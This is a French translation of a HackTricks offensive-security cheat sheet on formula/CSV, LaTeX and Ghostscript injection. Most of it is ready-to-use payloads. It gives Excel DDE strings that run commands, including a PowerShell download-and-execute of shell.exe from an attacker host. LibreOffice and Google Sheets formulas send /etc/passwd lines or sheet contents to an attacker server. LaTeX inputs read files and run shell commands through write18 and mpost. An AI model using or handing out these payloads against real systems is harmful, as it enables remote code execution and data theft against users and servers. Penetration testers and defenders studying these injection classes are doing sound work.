Formula/CSV/Doc/LaTeX/GhostScript Injection

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Groupe de sécurité Try Hard


Injection de formules

Info

Si votre entrée est réfléchie à l'intérieur de fichiers CSV (ou de tout autre fichier qui sera probablement ouvert par Excel), vous pourriez être en mesure d'insérer des formules Excel qui seront exécutées lorsque l'utilisateur ouvre le fichier ou lorsqu'il clique sur un lien à l'intérieur de la feuille Excel.

De nos jours, Excel alertera (à plusieurs reprises) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en matière d'ingénierie sociale doit être appliqué au payload final.

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Hyperlien

L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).

L'exemple suivant a été tiré de https://payatu.com/csv-injection-basic-to-exploit

Imaginez une violation de sécurité dans un système de gestion des dossiers étudiants exploitée à travers une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge malveillante dans l'application, en entrant spécifiquement des formules nocives dans les champs destinés aux détails des étudiants. L'attaque se déroule comme suit:

  1. Injection de la charge malveillante:

  • L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les feuilles de calcul (par exemple, =HYPERLINK("<malicious_link>","Cliquez ici")).

  • Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.

  1. Exportation des données compromises:

  • Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.

  • Le fichier CSV, lorsqu'il est ouvert, contient toujours la charge malveillante. Cette charge apparaît comme un hyperlien cliquable dans la feuille de calcul.

  1. Déclenchement de l'attaque:

  • Un enseignant clique sur le lien hypertexte, croyant qu'il fait partie légitime des détails de l'étudiant.

  • En cliquant, des données sensibles (pouvant inclure des détails de la feuille de calcul ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.

  1. Enregistrement des données:

  • Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.

  • L'attaquant peut ensuite utiliser ces données à diverses fins malveillantes, compromettant davantage la confidentialité et la sécurité des étudiants et de l'institution.

RCE

Consultez le message original pour plus de détails.

Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour tirer parti de cela, les paramètres suivants doivent être activés:

  • Accédez à Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe, et activez Lancement du Serveur d'Échange de Données Dynamique.

Lorsqu'une feuille de calcul avec la charge malveillante est ouverte (et si l'utilisateur accepte les avertissements), la charge est exécutée. Par exemple, pour lancer l'application calculatrice, la charge serait:

`=cmd|' /C calc'!xxx`

Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier en utilisant PowerShell :

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Inclusion de fichier local (LFI) dans LibreOffice Calc

LibreOffice Calc peut être utilisé pour lire des fichiers locaux et exfiltrer des données. Voici quelques méthodes :

  • Lire la première ligne du fichier local /etc/passwd : ='file:///etc/passwd'#$passwd.A1

  • Exfiltrer les données lues vers un serveur contrôlé par un attaquant : =WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • Exfiltrer plus d'une ligne : =WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • Exfiltration DNS (envoi des données lues sous forme de requêtes DNS à un serveur DNS contrôlé par un attaquant) : =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domaine de l'attaquant>"))

Google Sheets pour l'exfiltration de données hors bande (OOB)

Google Sheets propose des fonctions qui peuvent être exploitées pour l'exfiltration de données OOB :

  • CONCATENATE : Concatène des chaînes de caractères - =CONCATENATE(A2:E2)

  • IMPORTXML : Importe des données à partir de types de données structurées - =IMPORTXML(CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED : Importe des flux RSS ou ATOM - =IMPORTFEED(CONCAT("http://<adresse IP de l'attaquant:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML : Importe des données à partir de tableaux HTML ou de listes - =IMPORTHTML (CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE : Importe une plage de cellules d'une autre feuille de calcul - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_de_la_feuille]", "feuille1!A2:E2")

  • IMAGE : Insère une image dans une cellule - =IMAGE("https://<adresse IP de l'attaquant:Port>/images/srpr/logo3w.png")

Injection LaTeX

Généralement, les serveurs que l'on trouve sur Internet qui convertissent du code LaTeX en PDF utilisent pdflatex. Ce programme utilise 3 attributs principaux pour autoriser ou interdire l'exécution de commandes :

  • --no-shell-escape : Désactive la construction \write18{command}, même si elle est activée dans le fichier texmf.cnf.

  • --shell-restricted : Identique à --shell-escape, mais limité à un ensemble de commandes prédéfinies considérées comme 'sûres' (**Sur Ubuntu 16.04, la liste se trouve dans /usr/share/texmf/web2c/texmf.cnf).

  • --shell-escape : Active la construction \write18{command}. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.

Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter une exécution de code à distance, il est très important d'utiliser --shell-restricted.

Lire le fichier

Vous devrez peut-être ajuster l'injection avec des enveloppes comme [ ou $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Lire un fichier à une seule ligne

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Lire un fichier à plusieurs lignes

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Écrire le fichier

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Exécution de commandes

L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans caractères indésirables

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Injection de script entre sites

De @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Injection Ghostscript

Vérifier https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Références

Groupe de sécurité Try Hard

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour